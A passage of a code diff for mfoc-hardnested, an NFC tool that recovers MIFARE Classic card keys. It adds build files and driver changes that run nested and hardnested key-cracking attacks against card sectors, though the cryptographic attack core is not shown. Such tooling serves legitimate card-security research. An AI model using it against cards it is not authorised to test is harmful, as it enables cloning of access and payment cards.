<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||||
|
<AdditionalDependencies>lib\liblzma.lib;lib\libpthreadVSE3.lib;lib\libusb.lib;lib\nfc.lib</AdditionalDependencies>
|
||||||
|
<EnableUAC>false</EnableUAC>
|
||||||
|
<IgnoreAllDefaultLibraries>false</IgnoreAllDefaultLibraries>
|
||||||
|
<IgnoreSpecificDefaultLibraries>user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib</IgnoreSpecificDefaultLibraries>
|
||||||
|
</Link>
|
||||||
|
<PostBuildEvent>
|
||||||
|
<Command>rd /s /q $(SolutionDir)dist
|
||||||
|
md $(SolutionDir)dist\$(ProjectName)
|
||||||
|
copy $(SolutionDir)$(Platform)\$(Configuration)\$(ProjectName).exe $(SolutionDir)dist\$(ProjectName)
|
||||||
|
copy $(SolutionDir)src\lib\*.dll $(SolutionDir)dist\$(ProjectName)
|
||||||
|
powershell Compress-Archive $(SolutionDir)dist\$(ProjectName) $(SolutionDir)dist\$(ProjectName).zip</Command>
|
||||||
|
</PostBuildEvent>
|
||||||
|
</ItemDefinitionGroup>
|
||||||
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||||
|
<ImportGroup Label="ExtensionTargets">
|
||||||
|
</ImportGroup>
|
||||||
|
</Project>
|
||||||
140
src/mfoc-hardnested.vcxproj.filters
Normal file
140
src/mfoc-hardnested.vcxproj.filters
Normal file
@ -0,0 +1,140 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||||
|
<ItemGroup>
|
||||||
|
<Filter Include="Header files">
|
||||||
|
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||||
|
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
|
||||||
|
</Filter>
|
||||||
|
<Filter Include="C files">
|
||||||
|
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||||
|
<Extensions>cpp;c;cc;cxx;c++;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||||
|
</Filter>
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClCompile Include="mfoc.c">
|
||||||
|
<Filter>C files</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="cmdhfmfhard.c">
|
||||||
|
<Filter>C files</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="crapto1.c">
|
||||||
|
<Filter>C files</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="crypto1.c">
|
||||||
|
<Filter>C files</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="mifare.c">
|
||||||
|
<Filter>C files</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="nfc-utils.c">
|
||||||
|
<Filter>C files</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="parity.c">
|
||||||
|
<Filter>C files</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="ui.c">
|
||||||
|
<Filter>C files</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="util_posix.c">
|
||||||
|
<Filter>C files</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="getopt.c">
|
||||||
|
<Filter>C files</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="stdlib.c">
|
||||||
|
<Filter>C files</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="hardnested\hardnested_bf_core_AVX.c">
|
||||||
|
<Filter>C files</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="hardnested\hardnested_bf_core_AVX2.c">
|
||||||
|
<Filter>C files</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="hardnested\hardnested_bf_core_AVX512.c">
|
||||||
|
<Filter>C files</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="hardnested\hardnested_bf_core_SSE2.c">
|
||||||
|
<Filter>C files</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="hardnested\hardnested_bitarray_core_AVX.c">
|
||||||
|
<Filter>C files</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="hardnested\hardnested_bitarray_core_AVX2.c">
|
||||||
|
<Filter>C files</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="hardnested\hardnested_bitarray_core_AVX512.c">
|
||||||
|
<Filter>C files</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="hardnested\hardnested_bitarray_core_SSE2.c">
|
||||||
|
<Filter>C files</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="hardnested\hardnested_bruteforce.c">
|
||||||
|
<Filter>C files</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="hardnested\hardnested_cpu_dispatch.c">
|
||||||
|
<Filter>C files</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="hardnested\tables.c">
|
||||||
|
<Filter>C files</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="util.c">
|
||||||
|
<Filter>C files</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClInclude Include="cmdhfmfhard.h">
|
||||||
|
<Filter>Header files</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="crapto1.h">
|
||||||
|
<Filter>Header files</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="mfoc.h">
|
||||||
|
<Filter>Header files</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="mifare.h">
|
||||||
|
<Filter>Header files</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="nfc-utils.h">
|
||||||
|
<Filter>Header files</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="parity.h">
|
||||||
|
<Filter>Header files</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="slre.h">
|
||||||
|
<Filter>Header files</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="ui.h">
|
||||||
|
<Filter>Header files</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="util_posix.h">
|
||||||
|
<Filter>Header files</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="getopt.h">
|
||||||
|
<Filter>Header files</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="unistd.h">
|
||||||
|
<Filter>Header files</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="windows.h">
|
||||||
|
<Filter>Header files</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="bf_bench_data.h">
|
||||||
|
<Filter>Header files</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="hardnested\hardnested_bruteforce.h">
|
||||||
|
<Filter>Header files</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="hardnested\hardnested_cpu_dispatch.h">
|
||||||
|
<Filter>Header files</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="hardnested\tables.h">
|
||||||
|
<Filter>Header files</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="util.h">
|
||||||
|
<Filter>Header files</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="config_w.h">
|
||||||
|
<Filter>Header files</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
</ItemGroup>
|
||||||
|
</Project>
|
||||||
9
src/mfoc-hardnested.vcxproj.user
Normal file
9
src/mfoc-hardnested.vcxproj.user
Normal file
@ -0,0 +1,9 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||||
|
<LocalDebuggerCommand> $(SolutionDir)dist\$(ProjectName)\$(ProjectName).exe</LocalDebuggerCommand>
|
||||||
|
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
|
||||||
|
<LocalDebuggerCommandArguments>
|
||||||
|
</LocalDebuggerCommandArguments>
|
||||||
|
</PropertyGroup>
|
||||||
|
</Project>
|
||||||
409
src/mfoc.c
409
src/mfoc.c
@ -37,8 +37,15 @@
|
|||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
#include <stdlib.h>
|
#include <stdlib.h>
|
||||||
#include <string.h>
|
#include <string.h>
|
||||||
|
#include <inttypes.h>
|
||||||
|
#ifdef _MSC_VER
|
||||||
|
#include "unistd_w.h"
|
||||||
|
#include "getopt.h"
|
||||||
|
#include "../config_w.h"
|
||||||
|
#else
|
||||||
#include <unistd.h>
|
#include <unistd.h>
|
||||||
|
#include "../config.h"
|
||||||
|
#endif
|
||||||
|
|
||||||
// NFC
|
// NFC
|
||||||
#include <nfc/nfc.h>
|
#include <nfc/nfc.h>
|
||||||
@ -47,7 +54,6 @@
|
|||||||
#include "crapto1.h"
|
#include "crapto1.h"
|
||||||
|
|
||||||
// Internal
|
// Internal
|
||||||
#include "config.h"
|
|
||||||
#include "mifare.h"
|
#include "mifare.h"
|
||||||
#include "nfc-utils.h"
|
#include "nfc-utils.h"
|
||||||
#include "mfoc.h"
|
#include "mfoc.h"
|
||||||
@ -55,6 +61,7 @@
|
|||||||
//SLRE
|
//SLRE
|
||||||
#include "slre.h"
|
#include "slre.h"
|
||||||
#include "slre.c"
|
#include "slre.c"
|
||||||
|
#include "cmdhfmfhard.h"
|
||||||
|
|
||||||
#define MAX_FRAME_LEN 264
|
#define MAX_FRAME_LEN 264
|
||||||
|
|
||||||
@ -72,6 +79,20 @@ uint32_t unknownSector = 0;
|
|||||||
char unknownKeyLetter = 'A';
|
char unknownKeyLetter = 'A';
|
||||||
uint32_t unexpected_random = 0;
|
uint32_t unexpected_random = 0;
|
||||||
|
|
||||||
|
|
||||||
|
// Sectors 0 to 31 have 4 blocks per sector.
|
||||||
|
// Sectors 32 to 39 have 16 blocks per sector.
|
||||||
|
|
||||||
|
uint8_t sector_to_block(uint8_t sector)
|
||||||
|
{
|
||||||
|
if (sector<32) {
|
||||||
|
return sector<<2;
|
||||||
|
}
|
||||||
|
sector -= 32;
|
||||||
|
|
||||||
|
return 128+(sector<<4);
|
||||||
|
}
|
||||||
|
|
||||||
int main(int argc, char *const argv[])
|
int main(int argc, char *const argv[])
|
||||||
{
|
{
|
||||||
int ch, i, k, n, j, m;
|
int ch, i, k, n, j, m;
|
||||||
@ -87,7 +108,7 @@ int main(int argc, char *const argv[])
|
|||||||
int dumpKeysA = true;
|
int dumpKeysA = true;
|
||||||
bool failure = false;
|
bool failure = false;
|
||||||
bool skip = false;
|
bool skip = false;
|
||||||
|
bool force_hardnested = false;
|
||||||
// Next default key specified as option (-k)
|
// Next default key specified as option (-k)
|
||||||
uint8_t *defKeys = NULL, *p;
|
uint8_t *defKeys = NULL, *p;
|
||||||
size_t defKeys_len = 0;
|
size_t defKeys_len = 0;
|
||||||
@ -110,8 +131,6 @@ int main(int argc, char *const argv[])
|
|||||||
|
|
||||||
};
|
};
|
||||||
|
|
||||||
mftag t;
|
|
||||||
mfreader r;
|
|
||||||
denonce d = {NULL, 0, DEFAULT_DIST_NR, DEFAULT_TOLERANCE, {0x00, 0x00, 0x00}};
|
denonce d = {NULL, 0, DEFAULT_DIST_NR, DEFAULT_TOLERANCE, {0x00, 0x00, 0x00}};
|
||||||
|
|
||||||
// Pointers to possible keys
|
// Pointers to possible keys
|
||||||
@ -126,21 +145,22 @@ int main(int argc, char *const argv[])
|
|||||||
|
|
||||||
mifare_cmd mc;
|
mifare_cmd mc;
|
||||||
FILE *pfDump = NULL;
|
FILE *pfDump = NULL;
|
||||||
FILE *pfKey = NULL;
|
|
||||||
|
|
||||||
//File pointers for the keyfile
|
//File pointers for the keyfile
|
||||||
FILE * fp;
|
FILE * fp;
|
||||||
char line[20];
|
char line[20];
|
||||||
size_t len = 0;
|
|
||||||
char * read;
|
bool use_default_key=true;
|
||||||
|
|
||||||
//Regexp declarations
|
//Regexp declarations
|
||||||
static const char *regex = "([0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f])";
|
static const char *regex = "([0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f])";
|
||||||
struct slre_cap caps[2];
|
struct slre_cap caps[2];
|
||||||
|
|
||||||
// Parse command line arguments
|
// Parse command line arguments
|
||||||
while ((ch = getopt(argc, argv, "hD:s:BP:T:S:O:k:t:f:")) != -1) {
|
while ((ch = getopt(argc, argv, "hCFP:T:O:k:f:")) != -1) {
|
||||||
switch (ch) {
|
switch (ch) {
|
||||||
|
case 'C':
|
||||||
|
use_default_key=false;
|
||||||
|
break;
|
||||||
case 'P':
|
case 'P':
|
||||||
// Number of probes
|
// Number of probes
|
||||||
if (!(probes = atoi(optarg)) || probes < 1) {
|
if (!(probes = atoi(optarg)) || probes < 1) {
|
||||||
@ -165,7 +185,7 @@ int main(int argc, char *const argv[])
|
|||||||
fprintf(stderr, "Cannot open keyfile: %s, exiting\n", optarg);
|
fprintf(stderr, "Cannot open keyfile: %s, exiting\n", optarg);
|
||||||
exit(EXIT_FAILURE);
|
exit(EXIT_FAILURE);
|
||||||
}
|
}
|
||||||
while ((read = fgets(line, sizeof(line), fp)) != NULL) {
|
while ((fgets(line, sizeof(line), fp)) != NULL) {
|
||||||
int i, j = 0, str_len = strlen(line);
|
int i, j = 0, str_len = strlen(line);
|
||||||
while (j < str_len &&
|
while (j < str_len &&
|
||||||
(i = slre_match(regex, line + j, str_len - j, caps, 500, 1)) > 0) {
|
(i = slre_match(regex, line + j, str_len - j, caps, 500, 1)) > 0) {
|
||||||
@ -184,7 +204,7 @@ int main(int argc, char *const argv[])
|
|||||||
j += i;
|
j += i;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
break;
|
break;
|
||||||
case 'k':
|
case 'k':
|
||||||
// Add this key to the default keys
|
// Add this key to the default keys
|
||||||
p = realloc(defKeys, defKeys_len + 6);
|
p = realloc(defKeys, defKeys_len + 6);
|
||||||
@ -198,6 +218,10 @@ int main(int argc, char *const argv[])
|
|||||||
fprintf(stdout, "The custom key 0x%012llx has been added to the default keys\n", bytes_to_num(defKeys + defKeys_len, 6));
|
fprintf(stdout, "The custom key 0x%012llx has been added to the default keys\n", bytes_to_num(defKeys + defKeys_len, 6));
|
||||||
defKeys_len = defKeys_len + 6;
|
defKeys_len = defKeys_len + 6;
|
||||||
|
|
||||||
|
break;
|
||||||
|
case 'F':
|
||||||
|
//force hardnested
|
||||||
|
force_hardnested = true;
|
||||||
break;
|
break;
|
||||||
case 'O':
|
case 'O':
|
||||||
// File output
|
// File output
|
||||||
@ -207,14 +231,6 @@ int main(int argc, char *const argv[])
|
|||||||
}
|
}
|
||||||
// fprintf(stdout, "Output file: %s\n", optarg);
|
// fprintf(stdout, "Output file: %s\n", optarg);
|
||||||
break;
|
break;
|
||||||
case 'D':
|
|
||||||
// Partial File output
|
|
||||||
if (!(pfKey = fopen(optarg, "w"))) {
|
|
||||||
fprintf(stderr, "Cannot open: %s, exiting\n", optarg);
|
|
||||||
exit(EXIT_FAILURE);
|
|
||||||
}
|
|
||||||
// fprintf(stdout, "Output file: %s\n", optarg);
|
|
||||||
break;
|
|
||||||
case 'h':
|
case 'h':
|
||||||
usage(stdout, 0);
|
usage(stdout, 0);
|
||||||
break;
|
break;
|
||||||
@ -224,10 +240,10 @@ int main(int argc, char *const argv[])
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
if (!pfDump) {
|
// if (!pfDump) {
|
||||||
ERR("parameter -O is mandatory");
|
// ERR("parameter -O is mandatory");
|
||||||
exit(EXIT_FAILURE);
|
// exit(EXIT_FAILURE);
|
||||||
}
|
// }
|
||||||
|
|
||||||
// Initialize reader/tag structures
|
// Initialize reader/tag structures
|
||||||
mf_init(&r);
|
mf_init(&r);
|
||||||
@ -256,11 +272,6 @@ int main(int argc, char *const argv[])
|
|||||||
goto error;
|
goto error;
|
||||||
}
|
}
|
||||||
|
|
||||||
/*
|
|
||||||
// wait for tag to appear
|
|
||||||
for (i=0;!nfc_initiator_select_passive_target(r.pdi, nm, NULL, 0, &t.nt) && i < 10; i++) zsleep (100);
|
|
||||||
*/
|
|
||||||
|
|
||||||
int tag_count;
|
int tag_count;
|
||||||
if ((tag_count = nfc_initiator_select_passive_target(r.pdi, nm, NULL, 0, &t.nt)) < 0) {
|
if ((tag_count = nfc_initiator_select_passive_target(r.pdi, nm, NULL, 0, &t.nt)) < 0) {
|
||||||
nfc_perror(r.pdi, "nfc_initiator_select_passive_target");
|
nfc_perror(r.pdi, "nfc_initiator_select_passive_target");
|
||||||
@ -343,9 +354,52 @@ int main(int argc, char *const argv[])
|
|||||||
fprintf(stdout, "\nTry to authenticate to all sectors with default keys...\n");
|
fprintf(stdout, "\nTry to authenticate to all sectors with default keys...\n");
|
||||||
fprintf(stdout, "Symbols: '.' no key found, '/' A key found, '\\' B key found, 'x' both keys found\n");
|
fprintf(stdout, "Symbols: '.' no key found, '/' A key found, '\\' B key found, 'x' both keys found\n");
|
||||||
// Set the authentication information (uid)
|
// Set the authentication information (uid)
|
||||||
|
bool did_hardnested=false;
|
||||||
|
check_keys:
|
||||||
|
if (did_hardnested) {
|
||||||
|
use_default_key=false;
|
||||||
|
printf("\nChecking for key reuse...\n");
|
||||||
|
defKeys_len=0;
|
||||||
|
free(defKeys);
|
||||||
|
defKeys=malloc(0);
|
||||||
|
for (int i=0;i<t.num_sectors;++i) {
|
||||||
|
if (t.sectors[i].foundKeyA) {
|
||||||
|
bool seen=false;
|
||||||
|
for (int k=0;k<defKeys_len;k+=6) {
|
||||||
|
if (memcmp(defKeys+k,t.sectors[i].KeyA,6)==0) {
|
||||||
|
seen=true;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (!seen) {
|
||||||
|
defKeys=realloc(defKeys,defKeys_len+6);
|
||||||
|
memcpy(defKeys+defKeys_len,t.sectors[i].KeyA,6);
|
||||||
|
defKeys_len+=6;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (t.sectors[i].foundKeyB) {
|
||||||
|
bool seen=false;
|
||||||
|
for (int k=0;k<defKeys_len;k+=6) {
|
||||||
|
if (memcmp(defKeys+k,t.sectors[i].KeyB,6)==0) {
|
||||||
|
seen=true;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (!seen) {
|
||||||
|
defKeys=realloc(defKeys,defKeys_len+6);
|
||||||
|
memcpy(defKeys+defKeys_len,t.sectors[i].KeyB,6);
|
||||||
|
defKeys_len+=6;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
memcpy(mp.mpa.abtAuthUid, t.nt.nti.nai.abtUid + t.nt.nti.nai.szUidLen - 4, sizeof(mp.mpa.abtAuthUid));
|
memcpy(mp.mpa.abtAuthUid, t.nt.nti.nai.abtUid + t.nt.nti.nai.szUidLen - 4, sizeof(mp.mpa.abtAuthUid));
|
||||||
// Iterate over all keys (n = number of keys)
|
// Iterate over all keys (n = number of keys)
|
||||||
n = sizeof(defaultKeys) / sizeof(defaultKeys[0]);
|
n = sizeof(defaultKeys) / sizeof(defaultKeys[0]);
|
||||||
|
if (!use_default_key) {
|
||||||
|
n=0;
|
||||||
|
}
|
||||||
size_t defKey_bytes_todo = defKeys_len;
|
size_t defKey_bytes_todo = defKeys_len;
|
||||||
key = 0;
|
key = 0;
|
||||||
while (key < n || defKey_bytes_todo) {
|
while (key < n || defKey_bytes_todo) {
|
||||||
@ -385,7 +439,7 @@ int main(int argc, char *const argv[])
|
|||||||
//fprintf(stdout, " Data read with Key A revealed Key B: [%012llx] - checking Auth: ", bytes_to_num(mtmp.mpd.abtData + 10, sizeof(mtmp.mpa.abtKey)));
|
//fprintf(stdout, " Data read with Key A revealed Key B: [%012llx] - checking Auth: ", bytes_to_num(mtmp.mpd.abtData + 10, sizeof(mtmp.mpa.abtKey)));
|
||||||
memcpy(mtmp.mpa.abtKey, mtmp.mpd.abtData + 10, sizeof(mtmp.mpa.abtKey));
|
memcpy(mtmp.mpa.abtKey, mtmp.mpd.abtData + 10, sizeof(mtmp.mpa.abtKey));
|
||||||
memcpy(mtmp.mpa.abtAuthUid, t.nt.nti.nai.abtUid + t.nt.nti.nai.szUidLen - 4, sizeof(mtmp.mpa.abtAuthUid));
|
memcpy(mtmp.mpa.abtAuthUid, t.nt.nti.nai.abtUid + t.nt.nti.nai.szUidLen - 4, sizeof(mtmp.mpa.abtAuthUid));
|
||||||
if ((res = nfc_initiator_mifare_cmd(r.pdi, MC_AUTH_B, block, &mtmp)) < 0) {
|
if ((nfc_initiator_mifare_cmd(r.pdi, MC_AUTH_B, block, &mtmp)) < 0) {
|
||||||
//fprintf(stdout, "Failed!\n");
|
//fprintf(stdout, "Failed!\n");
|
||||||
mf_configure(r.pdi);
|
mf_configure(r.pdi);
|
||||||
mf_anticollision(t, r);
|
mf_anticollision(t, r);
|
||||||
@ -503,7 +557,7 @@ int main(int argc, char *const argv[])
|
|||||||
fprintf(stdout, " Data read with Key A revealed Key B: [%012llx] - checking Auth: ", bytes_to_num(mtmp.mpd.abtData + 10, sizeof(mtmp.mpa.abtKey)));
|
fprintf(stdout, " Data read with Key A revealed Key B: [%012llx] - checking Auth: ", bytes_to_num(mtmp.mpd.abtData + 10, sizeof(mtmp.mpa.abtKey)));
|
||||||
memcpy(mtmp.mpa.abtKey, mtmp.mpd.abtData + 10, sizeof(mtmp.mpa.abtKey));
|
memcpy(mtmp.mpa.abtKey, mtmp.mpd.abtData + 10, sizeof(mtmp.mpa.abtKey));
|
||||||
memcpy(mtmp.mpa.abtAuthUid, t.nt.nti.nai.abtUid + t.nt.nti.nai.szUidLen - 4, sizeof(mtmp.mpa.abtAuthUid));
|
memcpy(mtmp.mpa.abtAuthUid, t.nt.nti.nai.abtUid + t.nt.nti.nai.szUidLen - 4, sizeof(mtmp.mpa.abtAuthUid));
|
||||||
if ((res = nfc_initiator_mifare_cmd(r.pdi, MC_AUTH_B, t.sectors[j].trailer, &mtmp)) < 0) {
|
if ((nfc_initiator_mifare_cmd(r.pdi, MC_AUTH_B, t.sectors[j].trailer, &mtmp)) < 0) {
|
||||||
fprintf(stdout, "Failed!\n");
|
fprintf(stdout, "Failed!\n");
|
||||||
mf_configure(r.pdi);
|
mf_configure(r.pdi);
|
||||||
mf_anticollision(t, r);
|
mf_anticollision(t, r);
|
||||||
@ -536,107 +590,114 @@ int main(int argc, char *const argv[])
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
if (skip) continue; // We have already revealed key, go to the next iteration
|
if (skip) continue; // We have already revealed key, go to the next iteration
|
||||||
|
|
||||||
// Max probes for auth for each sector
|
if ((mf_enhanced_auth(e_sector, 0, t, r, &d, pk, 'd', dumpKeysA, 0, 0) == -99999) || force_hardnested == true) {
|
||||||
for (k = 0; k < probes; ++k) {
|
//Hardnested attack
|
||||||
// Try to authenticate to exploit sector and determine distances (filling denonce.distances)
|
|
||||||
int authresult = mf_enhanced_auth(e_sector, 0, t, r, &d, pk, 'd', dumpKeysA); // AUTH + Get Distances mode
|
uint8_t blockNo = sector_to_block(e_sector); //Block
|
||||||
if(authresult == -99999){
|
uint8_t keyType = (t.sectors[e_sector].foundKeyA ? MC_AUTH_A : MC_AUTH_B);
|
||||||
//for now we return the last sector that is unknown
|
uint8_t *key = (t.sectors[e_sector].foundKeyA ? t.sectors[e_sector].KeyA : t.sectors[e_sector].KeyB);;
|
||||||
nfc_close(r.pdi);
|
uint8_t trgBlockNo = sector_to_block(j); //block
|
||||||
nfc_exit(context);
|
uint8_t trgKeyType = (dumpKeysA ? MC_AUTH_A : MC_AUTH_B);
|
||||||
if(pfKey) {
|
mfnestedhard(blockNo, keyType, key, trgBlockNo, trgKeyType);
|
||||||
fprintf(pfKey, "%012llx;%d;%c;%d;%c", knownKey, knownSector, knownKeyLetter, unknownSector, unknownKeyLetter);
|
did_hardnested=true;
|
||||||
fclose(pfKey);
|
goto check_keys;
|
||||||
}
|
} else {
|
||||||
return 9;
|
//Nested attack
|
||||||
}
|
// DSR! - fix https://github.com/vk496/mfoc/issues/4
|
||||||
|
|
||||||
printf("Sector: %d, type %c, probe %d, distance %d ", j, (dumpKeysA ? 'A' : 'B'), k, d.median);
|
|
||||||
// Configure device to the previous state
|
|
||||||
mf_configure(r.pdi);
|
|
||||||
mf_anticollision(t, r);
|
|
||||||
|
|
||||||
pk->possibleKeys = NULL;
|
|
||||||
pk->size = 0;
|
|
||||||
// We have 'sets' * 32b keystream of potential keys
|
|
||||||
for (n = 0; n < sets; n++) {
|
|
||||||
// AUTH + Recovery key mode (for a_sector), repeat 5 times
|
|
||||||
mf_enhanced_auth(e_sector, t.sectors[j].trailer, t, r, &d, pk, 'r', dumpKeysA);
|
|
||||||
mf_configure(r.pdi);
|
mf_configure(r.pdi);
|
||||||
mf_anticollision(t, r);
|
mf_anticollision(t, r);
|
||||||
fprintf(stdout, ".");
|
|
||||||
fflush(stdout);
|
// Max probes for auth for each sector
|
||||||
}
|
for (k = 0; k < probes; ++k) {
|
||||||
fprintf(stdout, "\n");
|
// Try to authenticate to exploit sector and determine distances (filling denonce.distances)
|
||||||
// Get first 15 grouped keys
|
mf_enhanced_auth(e_sector, 0, t, r, &d, pk, 'd', dumpKeysA, 0, 0); // AUTH + Get Distances mode
|
||||||
ck = uniqsort(pk->possibleKeys, pk->size);
|
printf("Sector: %d, type %c, probe %d, distance %d ", j, (dumpKeysA ? 'A' : 'B'), k, d.median);
|
||||||
for (i = 0; i < TRY_KEYS ; i++) {
|
// Configure device to the previous state
|
||||||
// We don't known this key, try to break it
|
mf_configure(r.pdi);
|
||||||
// This key can be found here two or more times
|
mf_anticollision(t, r);
|
||||||
if (ck[i].count > 0) {
|
|
||||||
// fprintf(stdout,"%d %llx\n",ck[i].count, ck[i].key);
|
|
||||||
// Set required authetication method
|
|
||||||
num_to_bytes(ck[i].key, 6, mp.mpa.abtKey);
|
|
||||||
mc = dumpKeysA ? MC_AUTH_A : MC_AUTH_B;
|
|
||||||
int res;
|
|
||||||
if ((res = nfc_initiator_mifare_cmd(r.pdi, mc, t.sectors[j].trailer, &mp)) < 0) {
|
|
||||||
if (res != NFC_EMFCAUTHFAIL) {
|
|
||||||
nfc_perror(r.pdi, "nfc_initiator_mifare_cmd");
|
|
||||||
goto error;
|
|
||||||
}
|
|
||||||
mf_anticollision(t, r);
|
|
||||||
} else {
|
|
||||||
// Save all information about successfull authentization
|
|
||||||
bk->size++;
|
|
||||||
bk->brokenKeys = (uint64_t *) realloc((void *)bk->brokenKeys, bk->size * sizeof(uint64_t));
|
|
||||||
bk->brokenKeys[bk->size - 1] = bytes_to_num(mp.mpa.abtKey, sizeof(mp.mpa.abtKey));
|
|
||||||
if (dumpKeysA) {
|
|
||||||
memcpy(t.sectors[j].KeyA, mp.mpa.abtKey, sizeof(mp.mpa.abtKey));
|
|
||||||
t.sectors[j].foundKeyA = true;
|
|
||||||
|
|
||||||
} else {
|
pk->possibleKeys = NULL;
|
||||||
memcpy(t.sectors[j].KeyB, mp.mpa.abtKey, sizeof(mp.mpa.abtKey));
|
pk->size = 0;
|
||||||
t.sectors[j].foundKeyB = true;
|
// We have 'sets' * 32b keystream of potential keys
|
||||||
}
|
for (n = 0; n < sets; n++) {
|
||||||
fprintf(stdout, " Found Key: %c [%012llx]\n", (dumpKeysA ? 'A' : 'B'),
|
// AUTH + Recovery key mode (for a_sector), repeat 5 times
|
||||||
bytes_to_num(mp.mpa.abtKey, 6));
|
mf_enhanced_auth(e_sector, t.sectors[j].trailer, t, r, &d, pk, 'r', dumpKeysA, 0, 0);
|
||||||
// if we need KeyB for this sector, it should be revealed by a data read with KeyA
|
|
||||||
if (!t.sectors[j].foundKeyB) {
|
|
||||||
if ((res = nfc_initiator_mifare_cmd(r.pdi, MC_READ, t.sectors[j].trailer, &mtmp)) >= 0) {
|
|
||||||
fprintf(stdout, " Data read with Key A revealed Key B: [%012llx] - checking Auth: ", bytes_to_num(mtmp.mpd.abtData + 10, sizeof(mtmp.mpa.abtKey)));
|
|
||||||
memcpy(mtmp.mpa.abtKey, mtmp.mpd.abtData + 10, sizeof(mtmp.mpa.abtKey));
|
|
||||||
memcpy(mtmp.mpa.abtAuthUid, t.nt.nti.nai.abtUid + t.nt.nti.nai.szUidLen - 4, sizeof(mtmp.mpa.abtAuthUid));
|
|
||||||
if ((res = nfc_initiator_mifare_cmd(r.pdi, MC_AUTH_B, t.sectors[j].trailer, &mtmp)) < 0) {
|
|
||||||
fprintf(stdout, "Failed!\n");
|
|
||||||
mf_configure(r.pdi);
|
|
||||||
